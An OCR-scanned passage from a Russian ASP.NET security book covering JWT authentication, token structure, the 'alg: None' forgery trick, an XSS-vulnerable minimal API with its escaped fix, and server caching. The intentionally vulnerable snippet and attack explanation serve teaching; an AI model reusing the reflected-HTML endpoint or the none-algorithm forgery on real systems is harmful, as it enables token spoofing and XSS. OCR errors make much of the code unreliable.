public class JWTAuthenticationManager : IJWTAuthenticationManager {
private readonly byte[] tokenKey;
public JWTAuthenticationManager(byte[] tokenKey)
{
this.tokenKey = tokenKey;
}
public string? Authenticate(string email, string password)
{
if (email != "user@mail.com” |I password != "password")
return null;
248
Гпава 7
JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler(); SecurityTokenDescriptor tokenDescriptor = new SecurityTokenDescriptor {
Subject = new ClaimsIdentity(new Claim[] { new Claim(ClaimTypes.Name, email) I), Expires = DateTime.UtcNow.AddDays(1), SigningCredentials = new SigningCredentials( new SymmetricSecurityKey(tokenKey), SecurityAlgorithms.HmacSha256Signature ) };
SecurityToken token = tokenHandler.CreateToken(tokenDescriptor); return tokenHandler.WriteToken(token); } }
Через конструктор этот класс получает токен авторизации. Это должен быть тот же токен, что и при настройке в файле Program.cs. На самом деле, в этот класс он должен попадать тоже из Program.cs с помощью инъекции:
builder.Services.AddSingleton<IJWTAuthenticationManager>(
new JWTAuthenticationManager(securitykey) );
Единственный метод класса JWTAuthenticationManager — ЭТО Authenticate, И ОН получает в качестве параметров имя пользователя и пароль. В реальном приложении мы можем проверить имя и пароль по базе, а ради простоты я прописал эти «сложнейшие значения» прямо в коде. Если имя и пароль корректны, то создается новый токен. Токен будет действовать одни сутки, потому что в Expires указана текущая дата плюс 1 день:
Expires = DateTime.UtcNow.AddDays(1)
Токен должен устаревать. Если он будет вечным, то мы не сможем отменить его, и в случае утечки хакер сможет бесконечно использовать такой токен. Обязательно устанавливайте срок действия и в случае устаревания токена лучше запрашивайте новый.
В качестве шифрования Я выбрал HmacSha256Signature.
Далее дело техники — просто возвращаем полученный токен.
Это бизнес-логика получения токена. Не хватает только входной точки, где посетитель мог бы авторизовываться и получать токен. Создадим AuthController, к которому будет разрешен анонимный доступ [AiiowAnonymous]:
[AllowAnonymous ]
public class AuthController: ControllerBase
Web API
249
{
private readonly IJWTAuthenticationManager jwtAuthenticationManagere¬
public AuthController(
IJWTAuthenticat ionManager j wtAuthent icationManager)
{
this. jwtAuthenticationManager = jwtAuthenticationManager;
}
[HttpPost (’’authenticate”) ]
public lActionResult Authenticate ([FromBody] Usercredentials userCred) {
var token = jwtAuthenticationManager.Authenticate( userCred.Email, userCred.Password);
if (token = null) return UnauthorizedO ;
return Ok(token);
} }
Контроллер получает в качестве инъекции созданный ранее класс авторизации, а метод Authenticate перенаправляет авторизацию на созданный jwtAuthenticationManager. Запускаем сайт, и видим, что у нас появился новый API для авторизации. Нажмите кнопку Try it out (Попробовать) и введите прошитые в коде имя и пароль (рис. 7.1). После отправки запроса мы должны в разделе Responses (Ответы) получить токен (рис. 7.2).
Рис. 7.1. Ввод имени и пароля
250
Гпава 7
Рис. 7.2. Результат запроса с токеном
Теперь этот токен можно использовать для авторизации, но только с помощью Swagger его сходу передать не получится, — чтобы его можно было передать, надо сообщить Swagger о наличии авторизации. Впрочем, вы можете задействовать такую программу, как Postman. Сначала я покажу вариант с Postman.
Запускаем программу, указываем наш интернет-адрес (URL) сервиса погоды:
https://localhost:7251/WeatherForecast
На вкладке Headers добавляем новый параметр заголовка с ключом Authorization, а в качестве значения указываем слово Bearer и токен, который вы получили после авторизации (рис. 7.3). ,
А чтобы можно было использовать авторизацию токеном в Swagger, нужно добавить в файл Program.cs следующий код:
builder.Services.AddSwaggerGen(с =>
с.AddSecurityDefinition("Bearer", new OpenApiSecurityScheme {
In = ParameterLocation.Header,
Name = "Authorization",
Web API
251
Type = SecuritySchemeType.ApiKey });
c.AddSecurityRequirement(new OpenApiSecurityRequirement {
new OpenApiSecurityScheme {
Reference = new OpenApiReference {
Type - ReferenceType.SecurityScheme, Id « ’’Bearer”
}
new string[] { } });
Send
Overview 11 http»,7/localho»t:7251/'• + ♦•• No ( nvironmcnt
httpi://locilhoit:7251/Wnth»rForic»it g) Save v
GET v http8://localho8t:7251/WMtherForeci8t
Params Authorization Headers (7) Body Pre request Script Tests Settings Cookies
Headers о 6 hidden
KEY VALUE DESCRIPTIO ••• Bulk Edit Preaeta v
Q Authorization Bearer ayJhbOclOIJIUzl1NllelnR5cCI6lkpX...
koy Value Ops r p'n ■
Рис. 7.3. Авторизация в Postman
Теперь в панели Swagger появится кнопка авторизации (рис. 7.4). По ее нажатию должно появиться окно для ввода токена (рис. 7.5), и здесь его также нужно вводить вместе со словом Bearer:
Bearer ТОКЕН
Если слово Bearer не указать, то авторизация завершится ошибкой.
Как при вызове API узнать, какой именно посетитель его вызвал? При создании токена в поле имени был занесен email:
Subject = new ClaimsIdentity(new Claim[] {
new Claim(ClaimTypes.Name, email)
}),
252
Гпава 7
Рис. 7.4. Кнопка авторизация в окне Swagger
Рис. 7.5. Окно авторизация в Swagger
Это имя привязано к токену, и мы можем его прочитать при вызове API погоды следующим образом:
[HttpGet(Name = "GetWeatherForecast")]
public IEnumerable<WeatherForecast> Get() {
string? user = User.Identity.Name;
У меня жестко прописан один посетитель, и я там увижу user@mail.com. Может показаться, что для реализации этой защиты понадобилось выполнить слишком много шагов, и можно было сделать что-то проще своими силами. Своими силами можно сделать многое, но я показал здесь только самый простой вариант авторизации. Так что авторизация JWT-токенами — самый популярный способ при работе с Web API.
Web API
253
7.3. Устройство токенов
JWT, как уже отмечалось ранее, это аббревиатура от JSON Web Token. JSON — это формат документа, но только глядя на JWT-токен, мы не видим ничего похожего на этот формат:
eyJhbGciOiJIUzIlNiIsInR5cCI6IkpXVCJ9.eyJuYWHIjoidXNlckBtYWlsUnNvbSIsInJvbGOiOi JBZGlpbiIsIm5iZiI6MTY2ODg3NjQzMCwiZXhwIjoxNjY4CTYyODMwLCJpYXQiOjE2Njg4NzY0MzB9.
-Q3BhVCI_iM4fiL3x99bfYF07BV3cS0I-DO12H-SawI
На самом деле, этот токен состоит из трех частей, каждая из которых закодирована с помощью кодировки Base64. Присмотревшись, мы увидим, что в токене имеются две точки — они как раз и являются разделителями. Если взять код до первой точки:
eyJhbGciOiJIUzIlNiIsInR5cCI6IkpXVCJ9
и воспользоваться любой программой или онлайн-инструментом для декодирования Base64, то вы должны получить в результате вот такой текст:
{"alg":"HS256","typ":"JWT"}
а это уже JSON-формат.
Я воспользовался первым попавшимся онлайн-инструментом, который нашел в Google. Рекламировать его не буду, но он показан на рис. 7.6.
То есть JWT-токен — это на самом деле закодированные с помощью Base64 три JSON-документа. Первый из них — заголовок, декодирование которого показано только что. В нем два параметра: алгоритм шифрования HS256 и тип документа jwt.
Вторая секция — тело токена. В моем случае тело декодируется в следующий JSON-документ:
{ "паше": "useremail.com", "role": "Admin", "nbf": 1668876430, "exp": 1668962830, "iat": 1668876430
}
Здесь сразу видно:
□ name — email, который мы указывали при авторизации;
□ role — роль администратора;
□ nbf — время, с которого токен начинает действовать (not before);
□ exp — время истечения действия токена (expiry);
□ iat — когда токен был выпущен (issued at). В моем случае токен был выдан и сразу же начал действовать, потому что iat равно nbf.
254
Гпава 7
Рис. 7.6. Онлайн-инструмент для декодирования Base64 в JSON
В теле токена может быть любая информация. В спецификации можно найти имена полей, которые допускается добавлять, но этим мы не ограничены — вы можете добавлять поля, которые даже отсутствуют в спецификации.
При добавлении данных в тело учитывайте, что если хакеру удастся перехватить или каким-то образом украсть чей-то токен, то он легко сможет его декодировать, поэтому никакой важной или чувствительной информации в нем быть не должно. Никогда не добавляйте в токен пароли!
Третья секция — проверка подписи, которая гарантирует, что хакер не изменил тело документа. Как мы убедились, тело токена легко декодируется, и любой может его прочитать. Подпись гарантирует, что хакер не сможет изменить значения. Будет плохо, если хакер смог бы просто изменить любой из параметров, закодировать токен с помощью Base64 и начать использовать.
Для декодирования токенов есть очень удобный сайт jwtio (рис. 7.7). Скопируйте код своего токена в поле слева, и он будет удобно подсвечен тремя разными цветами. К сожалению, черно-белая печать книги не позволит увидеть красоту подсветки, поэтому, чтобы оценить ее, придется вам попробовать самостоятельно протестировать свой токен.
Web API
255
J J LTUT
L'.ilh'dby vauthO
Encoded
Decoded
HEADER: Al GORITHM & TOKFN 1YPF
eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCJ9 .eyJuYWIIIjoidXNlckBtYWlsLmNvbSIsInJ <
vbGUi0iJBZG1pbiIsIm5iZiI6MTY20Dg3NjQ zMCwiZXhwlj о xN j Y40TYyODMwLCJ pYXQ10 j E }
2Njg4NzY0MzB9.poHLWItnW0516iT0uHQVdG AM49NZEZghCyecqkhB21 c PAYl
"role": "Admin', "nbf": 1668876430, "exp": 1668962830, "iat": 1668876430
VERIFY SIGNATURE
HMACSHA256(
ba««64Ur IFncode(header) ♦• base64U rIt ncode(payload), your 256 bit secret
) secret base64 encoded
Рис. 7.7. Сай-rjwtlo
Сайт разделяет токен на три части, декодирует и показывает в очень удобном виде — на рис. 7.7 три блока справа демонстрируют заголовок, тело и подпись.
JWT-токены достаточно безопасны, если следовать трем простым правилам:
□ никогда не храните в токене важную информацию — только идентификатор посетителя, только то, что необходимо для идентификации, но ни в коем случае не храните в нем пароли;
□ всегда используйте зашифрованное соединение HTTPS. Если передать токен по открытому соединению HTTP, то у хакера появляется шанс перехватить его, а если это произойдет, то хакер сможет его использовать без ограничений.
JWT-токен — это как cookie авторизации. Он отлично работает, если только легитимный посетитель имеет к нему доступ. Если хакер украдет cookie авторизации, то единственное, что может спасти посетителя, — привязка к IP-адресу.
JWT-токены тоже можно привязать к IP-адресу, и для особо чувствительных систем или API я бы так и сделал. Банковские API и электронные магазины должны не просто использовать токены, но и сделать дополнительный шаг на пути к более высокому уровню безопасности;
256
Глава 7
□ третье правило — секретная фраза, которую вы задали в приложении, должна быть действительно секретной. Если хакер получит к ней доступ, то он сможет изменять тело токена и генерировать подпись.
Как еще хакеры могут использовать JWT-токены для взлома? Хакер может попробовать поменять в заголовке алгоритм шифрования на None:
{
"alg":"None",
"typ":"JWT"
}
закодировать его с помощью Base64 и получить:
ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKVlQiCnO=
Теперь можно изменить имя пользователя в теле токена, закодировать и добавить его к заголовку. Подпись можно не менять. В результате хакер получит токен, у которого отключено шифрование!
Попробуйте отправить такой запрос на сервер? Он завершится ошибкой авторизации, потому что мы задали секрет и требуем его проверки:
.AddJwtBearer(х => {
x.RequireHttpsMetadata = false;
x.SaveToken = true;
x.TokenValidationParameters = new TokenValidationParameters
{
ValidatelssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(securitykey),
Validatelssuer = false,
ValidateAudience = false
};
});
7.4. Авторизация API
При работе c Web API есть два популярных выбора: JWT-токены (какие-то уникальные токены в заголовке запроса) и такие же cookie, как и у простых вебприложений.
Я видел пару раз решения, когда в случае с Web API аналог cookie авторизации передавался не через cookie, а через заголовок, как это делает JWT, или прямо через URL. При этом одностраничное приложение запоминает некий уникальный код, который связывается с сессией на сервере, и этот код может лежать в локальном хранилище (localStorage) браузера.
Такое решение вполне рабочее, пока у вас нет XSS-уязвимости, потому что хранилища не защищены от прямого доступа из JavaScript.
Web API
257
Для доступа к Web API можно использовать cookie, и это вполне рабочее решение. Печеньки — уже давно отлаженная технология, которую используют большое количество сайтов, и в случае с веб-приложениями я выбираю именно cookie.
JWT-токены, или уникальные значения (аналог cookie), в заголовке можно использовать для мобильных приложении. Если мобильное приложение написано на Swift или Kotlin, то там не я не видел XSS-уязвимости. Возможно, и бывают в них какие- то другие уязвимости, но вот такой там быть не может. Поэтому хранение уникального кода или токена на стороне мобильного приложения может быть допустимым решением.
Я в мобильной разработке не эксперт, и это уже тема для отдельной книги. В мобильном мире я создавал в основном игры, которым не нужны были Web API.
У JWT есть плюс — этот токен может жить без сохранения на сервере, а значит, не будет единой точки отказа. Но если нет контроля на сервере, то нет и возможности отменить сессию в случае ее компрометации. Если вы выберете такой подход, то желательно генерировать относительно короткие токены, — я бы задавал время их хранения не более 20 минут. Если хакер перехватит токен сразу на первой минуте, то у него будет максимум 20 минут на все свои злые дела.
Если токен устаревает, то его просто нужно обновлять по мере необходимости. Желательно, чтобы любой сервер приложений мог выдать токен, но если это невозможно и у вас за выдачу токенов отвечает какой-то отдельный сервер, то нужно позаботиться, чтобы он был всегда доступен. Отказ сервера, который производит авторизацию, может привести к падению всей системы.
И раз уж мы начали говорить о недостатках JWT, то стоит упомянуть, что они увеличивают размер запросов, потому что их размер больше большинства реализаций идентификаторов сессий.
7.5. XSS и Web API
Web API обычно возвращает JSON-файлы, и за обработку потом уже отвечает код на JavaScript и, скорее всего, какой-нибудь фреймворк.
Есть теоретическая вероятность, что сайт на .NET вернет JSON-файл, который будет содержать какой-то код, способный привести к XSS-уязвимости. Допустим сервер возвращает такие данные:
[
"text": "<script>alert(1)</text>" ]
Если код на JS будет неверно использовать данные и просто добавит их к коду страницы, то это может стать причиной XSS.
Должны ли мы на сервере заниматься экранированием параметров? Возможно, кто- то скажет, что да. Но я считаю, что это ответственность JavaScript-кода — безопасно работать с данными. В моих проектах сервер хранит и возвращает данные как
258
Глава 7
есть, и его задача сформатировать данные так, чтобы они не сломали JSON-формат. В остальном же ответственность за безопасность выполнения кода в браузере берет на себя фронтенд-программист.
Так как безопасность фронтенда выходит за пределы этой книги, я не буду показывать вам конкретные шаги по его защите. Тут все зависит от того, используете вы чистый JavaScript или какой-то фреймворк.
Рассмотрим еще один пример с минимальным Web API, когда вывод происходит сразу же из маршрута:
using System.Net.Mime;
var builder = WebApplication.CreateBuilder(args);
var app = builder.BuildO ;
app.MapGet(”/”, (HttpContext context) => {
context.Response.ContentType = MediaTypeNames.Text.Html;
return ’’Hello World! ” + context. Request. Query [’’search”];
});
app.Run();
Здесь используется MapGet — для того чтобы связать URL с кодом. Код достаточно простой — он возвращает строку, и тип этой строки HTML. Поскольку это HTML, то, скорее всего, браузер также будет обрабатывать эти данные в виде HTML, а значит, здесь тоже возможна XSS-уязвимость.
Последний раз я видел Web API, возвращающий HTML, лет 10 назад, когда использовал j Query, который запрашивает с сервера данные, и просто подключал его к странице. jQuery все еще применяется, хотя все чаще можно увидеть React или Angular, которые запрашивают с сервера JSON-данные.
Так как jQuery все еще жив, и есть сайты, где используют чистый (ванильный) JavaScript, способный запрашивать от сервисов HTML-контент, я решил добавить подобную потенциальную уязвимость. Если вы возвращаете HTML, то будьте осторожны с любыми пользовательскими данными.
Кто должен экранировать данные? В нашем случае это должно происходить на стороне сервера.
Для экранирования контента можно использовать:
System. Security.SecurityElement.Escape(строка)
При этом более защищенная версия будет выглядеть так:
using System.Net.Mime;
var builder = WebApplication.CreateBuilder(args);
var app = builder.BuildO;
app.MapGet(”/”, (HttpContext context) => {
context.Response.ContentType - MediaTypeNames.Text.Html;
Web API 259
string str = System.Security.SecurityElement.Escape( context. Request. Query [ ’’search” ] );
return ’’Hello World! ’’ + str;
});
app.Run();
Для очистки данных от вредных символов можно также использовать System.Text.
Encodings.Web.HtmlEncoder.Default.Encode:
var str ■ System.Text.Encodings.Web.HtmlEncoder.Default.Encode( HttpContext.Request.Query["Test”].ToString());
ГЛАВА 8
Трюки
Я надеюсь, мне удалось рассказать вам в этой книге что-то интересное и поделиться собственным опытом долгой работы с C# и строительства больших сайтов с высокой нагрузкой. Но осталось несколько приемов работы, которые немного выбиваются из темы предыдущих глав, поэтому я в последний момент добавил в книгу еще одну главу — про трюки.
Показанные здесь трюки основаны на личном опыте, и вы не обязаны следовать им или реализовывать их в том же самом виде, но, возможно, этот опыт пригодится вам в решении ваших задач.
8.1. Кеширование
Кеширование можно отнести к оптимизации, потому что именно это является основной целью, когда мы добавляем его в наш код. Но в веб-программировании есть и побочный эффект от кеширования — когда браузер или прокси-серверы, стоящие между сервером и пользователем, кешируют данные, и тогда это становится уже вопросом безопасности. Поскольку кеширование затрагивает как безопасность, так и производительность, я этот вопрос вынес в отдельный раздел, и сейчас настало время его обсудить.
8.1.1. Кеширование результата
Браузеры и прокси-серверы могут кешировать контент, чтобы экономить трафик, который передается от сервера к браузеру. Когда Интернет был медленным, то кеширование очень сильно помогало ускорить загрузку страниц.
Еще недавно проблемы со скоростью и ценой были и у мобильного Интернета. Пять лет назад (в 2019 году) в Канаде я за телефонную линию платил $60 и имел всего 10 гигабайт трафика, хотя, приезжая в Россию, я за $10 получал уже 40 гигабайт. С появлением LTE/4G скорость и цена мобильного Интернета стали вполне приемлемыми (сейчас я плачу $75, но за 60 гигабайт трафика) и позволяющими не сильно заботиться об оптимизации загрузки.
Трюки
261
Так что сейчас кеширование больше помогает серверам избавиться от лишних запросов. Если прокси-серверы в Интернете смогут запоминать страницы и возвращать их пользователям напрямую, то на сервер будет заходить меньше запросов и меньше будет расходоваться ресурсов, что, несомненно, плюс.
Однако страницы, контент или данные, которые зависят от пользователя, должны регулярно запрашиваться у сервера, и для этого нужно сказать всем на пути от сервера до браузера, что кешировать эти страницы не нужно. Представьте себе, что будет, если кешироваться станут страницы сайта банка. Вы зайдете на этот сайт, и прокси-сервер запомнит страницу с вашим балансом или даже с данными кредитной карты. Потом другой посетитель зайдет на сайт, и прокси-сервер вернет ему из кеша страницу с вашими данными. Не очень приятная ситуация...
Поэтому нужно четко отдавать себе отчет, какой контент можно разрешать кешировать, а какой — нет.
Для настройки кеширования МОЖНО применить атрибут Responsecache, с помощью которого мы можем сообщить браузеру и кеш-серверам, разрешается ли кешировать контент, и на какое время. Когда мы используем атрибут Responsecache, то вместе с ответом от сервера в заголовке возвращаются специальные параметры, которые как раз и сообщают правила кеширования, которым нужно следовать.
Но мы только можем попросить браузер и кеш-серверы соблюдать правила, а будут они это делать или нет, от нас уже не зависит. Так, если браузер не станет соблюдать правила, то он нарушит спецификацию HTTP 1.1. Не знаю, чем будет ему грозить такое нарушение, — как минимум престижем, поэтому никто таких правил не нарушает.
Если посмотреть на файл Homecontroller, то в нем мастер сгенерировал мне метод Error, У которого установлен атрибут Responsecache:
[ResponseCache(Duration = О,
Location = ResponseCacheLocation.None,
NoStore = true)]
public lActionResult Error() {
return View(
new ErrorViewModel { Requestld = Activity.Current?.Id
?? HttpContext.Traceldentifier } );
}
В скобках у Responsecache указаны три параметра:
□ Duration — задает время действия кеша в секундах и соответствует НТТР- параметру max-age. Если указать 0, то кеширования не будет, и именно это необходимо методу Error, чтобы мы всегда видели актуальную информацию об ошибке, а не получали ее из кеша;
□ Location — указывает, кто может кешировать. В нашем случае — никто: ResponseCacheLocation.None. Причина все та же — мы не хотим ничего кешировать. Можно также указать:
262
Глава 8
• ResponseCacheLocation.All — соответствует HTTP-параметру public: все могут кешировать, включая прокси-серверы. На такой странице не может быть персональных данных, потому что эта информация может стать публичной;
• ResponseCacheLocation. client — соответствует параметру private, когда прокси-серверы не могут кешировать, а браузер конкретного посетителя — может. В таком кеше уже можно сохранять приватные данные;
□ NoStore — этот параметр имеет приоритет, и если он равен true, то кеширование запрещено, и в HTTP-заголовке cache-control будет прописано значение no-store, no-cache, а В заголовке Pragma — no-cache.
Давайте попробуем установить следующие значения домашней страницы:
[Responsecache(
Duration = 10,
Location = ResponseCacheLocation.Any,
NoStore = false)]
public async Task<IActionResult> Index(string status = ”0”)
Запустите сайт, откройте утилиту разработчика, загрузите сайт и посмотрите на заголовки (рис. 8.1). Как можно видеть, появился параметр Cache-Control, который говорит, что браузер или прокси-сервер может запомнить страницу на 10 секунд.
Теперь попробуйте перезагрузить страницу. Если нажать клавишу <F5> или выбрать команду перезагрузки страницы, то информация будет запрошена с сервера
Рис. 8.1. Заголовок Cache-control
Трюки 263
так же, как в первый раз. Но если на странице щелкнуть на ссылке домашней страницы (заголовок MyBlog) и сделать это менее чем через 10 секунд с момента последней загрузки, то браузер не будет запрашивать данные с сервера, а возьмет их из кеша, — об этом говорит запись Disk Cache (Кеш диска) в колонке Size (Размер) напротив URL страницы (рис. 8.2).
Рис. 8.2. Страница получена из кеша
Можно настраивать каждый запрос отдельно, но потом это будет не очень удобно поддерживать. Впрочем, можно создать именные профили и использовать их потом для каждого запроса. Для этого в файле Program.cs добавьте профиль кеша с именем Default, который будет кешировать данные на 100 секунд:
builder.Services.AddResponseCaching();
builder.Services.AddControllers(options => {
options.CacheProfiles.Add("Default”, new CacheProfile() { Duration = 100 });
}) ;
app.UseResponseCaching();
А перед контроллером поставьте атрибут Responsecache и укажите имя профиля через параметр CacheProfileName:
[Responsecache(CacheProfileName = "Default”)] public class Homecontroller : ControllerBase
264
Гпава 8
Теперь будет проще менять кеширование по умолчанию, которое можно даже поместить в конфигурационный файл или передавать через параметры окружения. Я рекомендую устанавливать профили только точечно, чтобы серверы случайно не сохранили важную информацию.
8.1.2. Кеширование статичными переменными
Теперь перейдем к кешированию в коде. Тут можно использовать разные методы, но все их я описывать не стану, а остановлюсь только на некоторых интересных.
Хорошая структура базы данных и правильные индексы могут сэкономить много процессорного времени при доступе к базе данных из веб-приложения. Но если, даже несмотря на самые лучшие индексы и оптимизацию, обращаться к серверу по каждой мелочи, то он не сможет справиться даже со средненагруженным приложением.
Сервер приложений должен кешировать как можно больше информации — особенно, если она изменяется редко или вообще не изменяется. В базах данных очень часто хранят конфигурационные параметры, которые не изменяются годами. Мне кажется, что это большая ошибка. На мой взгляд, большинство конфигурационных файлов могут храниться в файлах на сервере приложений, чтобы тот имел постоянный доступ к этой информации и не дергал зря базу данных. Чаще всего серверов приложений на больших сайтах бывает несколько, и тиражирование файлов по разным серверам может приводить к проблемам, чего, наверное, боятся приверженцы хранения конфигурационных файлов в базе данных. А зря.
Бывают случаи, когда действительно проще сохранить какой-то параметр в базе, чтобы пользователи имели к нему доступ из любой точки мира и с любого компьютера, а администраторы могли управлять этим централизованно. Но если вы решаетесь на это, то нужно хотя бы кешировать подобные данные на стороне клиента.
На больших сайтах очень часто создается множество маленьких табличек с двумя- тремя полями, в которых хранится какая-то информация, которая записывается туда один раз и не меняется годами. Допустим, например, что это табличка, в которой указаны валюты, принимаемые сервером к оплате. Как часто мы добавляем новые валюты?
Можно, конечно, прописать валюты прямо в тексте страниц и обновлять код страниц в случае необходимости, но от этого теряется гибкость, — в тот момент, когда наступит необходимость добавить или изменить валюту, вы наткнетесь на серьезную проблему. Вполне логично использовать для этого данные из базы, но просто кешировать их на стороне сервера приложения. И поскольку мы сегодня рассматриваем постоянные данные, которые меняются раз в год или реже, а доступ к ним идет часто, то для такого случая можно использовать статичные переменные.
Если я правильно помню, то статичные переменные используют разделяемую память в процессе w3svc.exe. Это значит, что при старте веб-приложения будет создана их копия, разделяемая между всеми потоками. То есть данные будут храниться
Трюки
265
в памяти, постоянно находиться «под рукой» у сервера, и не придется постоянно обращаться к базе данных.
Лично я постоянно использую этот метод кеширования для статичных данных, которые не меняются. Когда наступает тот страшный момент необходимости изменить эти данные, я делаю изменения в базе и тут же выполняю Recycle на Application Pool, чтобы сервер перегрузил все переменные.
Еще раз подчеркну, что этот метод нужно использовать только со статичными данными, которые инициализируются из базы один раз и потом не изменяются в памяти.
Вообще-то статичные переменные с веб-приложениями нужно использовать осторожно. Как я уже отметил, память будет разделяемой между потоками, но не устойчивой к изменениям в потоках. Я как-то ни разу не пробовал изменять статичные переменные в веб-приложениях, но боюсь, что это может закончиться нежелательным результатом, если каждый запрос будет пытаться сохранить что-то в статичной переменной.
Что делать, если вы вызываете статичную переменную более одного раза?
Объекты могут сохранять состояния, и если есть свойство, которое рассчитывает какое-либо значение, то его можно реализовать примерно так:
string memberName = null;
public string MemberName {
get {
if (memberName = null) {
// найти и присвоить в memberName значение
// memberName = something;
I
return memberName;
}
I
Здесь показан пример «ленивой» инициализации: свойство MemberName — чтобы не расходовать ресурсы — будет оставаться пустым, пока к нему не обратятся в первый раз. А во время первого обращения произойдет его инициализация, и потом уже просто будет возвращаться значение.
В случае со статичными методами можно обращаться только к статичным свойствам, но они же будут разделяться между всеми клиентами веб-сервера, и значит, подобный трюк уже не пройдет.
8.1.3. Кеширование уровня запроса
В .NET Framework у HttpContext есть специальное свойство items, которое существует только на протяжении одного запроса, и его можно тоже использовать как кеш, чтобы в течение одного запроса не запрашивать одни и те же данные несколько раз:
266
Глава 8
public class Member {
public static Member CurrentMember {
get {
if (HttpContext.Current.Items["MemberlD"] = null) {
cm = // get member
HttpContext.Current.Items["MemberlD"] = cm;
return (Member)HttpContext.Current.Items["MemberlD"];
)
У класса Member мне захотелось создать статичное свойство current, которое будет возвращать текущего пользователя. Таким образом, я смогу обратиться к нему из любого места программы.
Но поскольку я кешировать в статичной переменной результат «ленивой» инициализации не могу, то могу сохранить результат в свойстве текущего контекста выполнения запроса, который для каждого будет уникальным.
8.1.4. Кеширование в памяти
Ha GitHub можно найти небольшой пример системы управления контентом (Content Management System, CMS)1, который иллюстрирует то, как я реализовал когда-то работу с контентом для сайтов rewards.sony.com и wheeloffortune.com. Код, выложенный на GitHub, написан с нуля и не является точной копией моей реализации CMS, а только демонстрирует идею, которую я когда-то использовал. К сожалению, я не могу выложить тот самый рабочий код — хотя я его с нуля писал сам, он все же принадлежит компании, которая мне платила в то время зарплату...
Для того чтобы моя система смогла справиться с нагрузкой, в ней было реализовано кеширование: данные хранились в памяти с использованием Memorycache. Полный код примера (файл Cacher.cs) вы всегда сможете найти в исходных кодах на GitHub2, а здесь мы только рассмотрим некоторые интересные моменты кеширования данных.
1 См. https://github.com/mflenov/cms.
2 См. https://github.com/mflenov/cms/blob/master/FCms/Tools/Cacher.cs.
Трюки 267
Класс Cacher использует .NET-класс Memorycache, экземпляр которого я создаю, задействуя паттерн программирования singleton:
static public class Cacher
{
private static MemoryCache cache = null; static MemoryCache Current {
get { if (cache == null) cache = new MemoryCache(”fcms”);
return cache; } }
}
Теперь для добавления элементов в кеш мне нужен метод Set. Я создал несколько вариаций этого метода — рассмотрим здесь только самый основной:
static void Set(
string cachekey,
object value, int seconds, string!] filedependencies ■ null, bool sliding ■ false,
CacheltemPriority priority ■ CacheltemPriority.Default) {
CacheItemPolicy policy ■ new CacheltemPolicy();
// следить за изменением файла if (filedependencies !■ null)
policy.ChangeMonitors.Add( new HostFileChangeMonitor(new List<string>(filedependencies))
);
// каждый раз время жизни кеша сдвигается if (sliding)
policy.SlidingExpiration = new TimeSpan(0, seconds, 0); else
policy.AbsoluteExpiration = DateTimeOffset.UtcNow.AddSeconds(seconds);
// приоритет уничтожения из памяти policy.Priority = priority;
// удалить текущее, если оно есть, и добавить новое Cacher.Current.Remove(cachekey);
Cacher.Current.Add(new Cacheitem(cachekey, value), policy);
268
Глава 8
Кеш может следить за изменением файла. Моя CMS хранит данные в файлах, так что это очень удобная возможность. Если файл изменился, то изменилось какое-то значение в контенте, и данные в кеше нужно игнорировать.
Я также позволяю создавать двигающийся кеш. Если к данным долго не обращаться, то они будут удалены. Но при двигающемся кеше каждое обращение продлевает жизнь данным.
Последнее, что я задаю, — это приоритет удаления данных из кеша, если на сервере не хватает памяти. Если помещать в кеш слишком много данных, то при нехватке памяти сборщик мусора может начать удалять даже те данные, которые еще не устарели. С помощью приоритета можно указать, какие данные можно удалять первыми.
Добавить в кеш данные можно так:
ICmsManager value = new CmsManager ();
Cacher.Set ("FCMSMANAGER” , value, manager. Filename);
Эта строка сохраняет значение value в памяти под именем (или, правильнее сказать, ПОД ключом) FCMS MANAGER.
Получить это значение обратно из кеша можно следующим образом:
manager = (ICmsManager) Tools. Cacher. Get ("FCMS_MANAGER");
Метод получения данных Get выглядит так:
public static object Get(string cachekey) {
if (Cacher.Current.Contains(cachekey)) return Cacher.Current.Get(cachekey);
return null;
I
Кеш в памяти может быть очень эффективным, и это еще один прекрасный метод сокращения количества обращений к базе данных и повышения скорости работы сайта. Нужно только отдавать себе отчет, какие данные могут попадать в кеш, а какие — нет. Лучше всего помещать зуда те данные, к которым мы чаще всего обращаемся.
8.1.5. Сервер кеширования
Кеширование в памяти отлично работает, если у вас только один сервер приложений. Когда же у вас в работе участвует несколько серверов приложений, то данные будут кешироваться на каждом из них, что может стать избыточным и неудобным.
Допустим, что у вас пять серверов приложений — чем это может грозить?
Каждый из них будет содержать в кеше одни и те же данные. Чтобы попасть в кеш, данные должны быть запрошены из БД или из другого хранилища, а значит, каждый из серверов обратится к базе данных. В таком случае для краткосрочных
Трюки
269
данных эффект от кеширования может быть минимальным. Опять же, если пять серверов хранят данные в кеше, нужно думать и о том, как его обновлять в случае изменения данных.
В распределенных системах для хранения кеша чаще используют выделенные серверы. Сделать это не так сложно — можно написать небольшое приложение, которое будет по сети принимать запросы на сохранение данных в Cacher и получение данных из него.
Плюс выделенного сервера — данные хранятся в кеше в единственном экземпляре, минус заключается в том, что доступ к данным будет происходить чуть медленнее, потому что добавляются расходы на сетевые запросы. Но это все же лучше, чем читать данные из базы данных, потому что масштабировать базу данных не так-то просто.
И хотя написать собственный простейший кеш-сервер совсем не сложно, иногда лучше использовать готовые решения. Самыми популярными кеш-серверами, на мой взгляд, являются Memcached3 и Redis4.
Задача кеширования настолько специфичная для действительно крупных проектов, что я не буду здесь приводить конкретные примеры. В период моей работы над проектами для Sony у меня было от 6 до 8 серверов приложений, и при этом я использовал только кеш в памяти и не задействовал серверы, чтобы не усложнять реализацию. Кеш в локальной памяти быстрее и проще в реализации, и поэтому я использовал именно его, несмотря на дополнительные расходы.
8.1.6. Cookie в качестве кеша
Значения cookie и локальное хранилище в браузере можно использовать не только для сессий или каких-то параметров, которые просто нужно запомнить на долгое время, но и для кеширования.
Работая над проектом Sony Rewards, я получил задание — реализовать заголовок, в котором будет поле для входа на сайт, а если посетитель авторизован, то в этом месте нужно отображать количество доступных пойнтов (рис. 8.3). Это накладывает определенные ограничения на кеширование. Как сделать так, чтобы страница попадала в кеш, но при этом содержимое ее было разным? Как убедиться, что кешируется все, кроме количества пойнтов, и никто не увидит мой баланс?
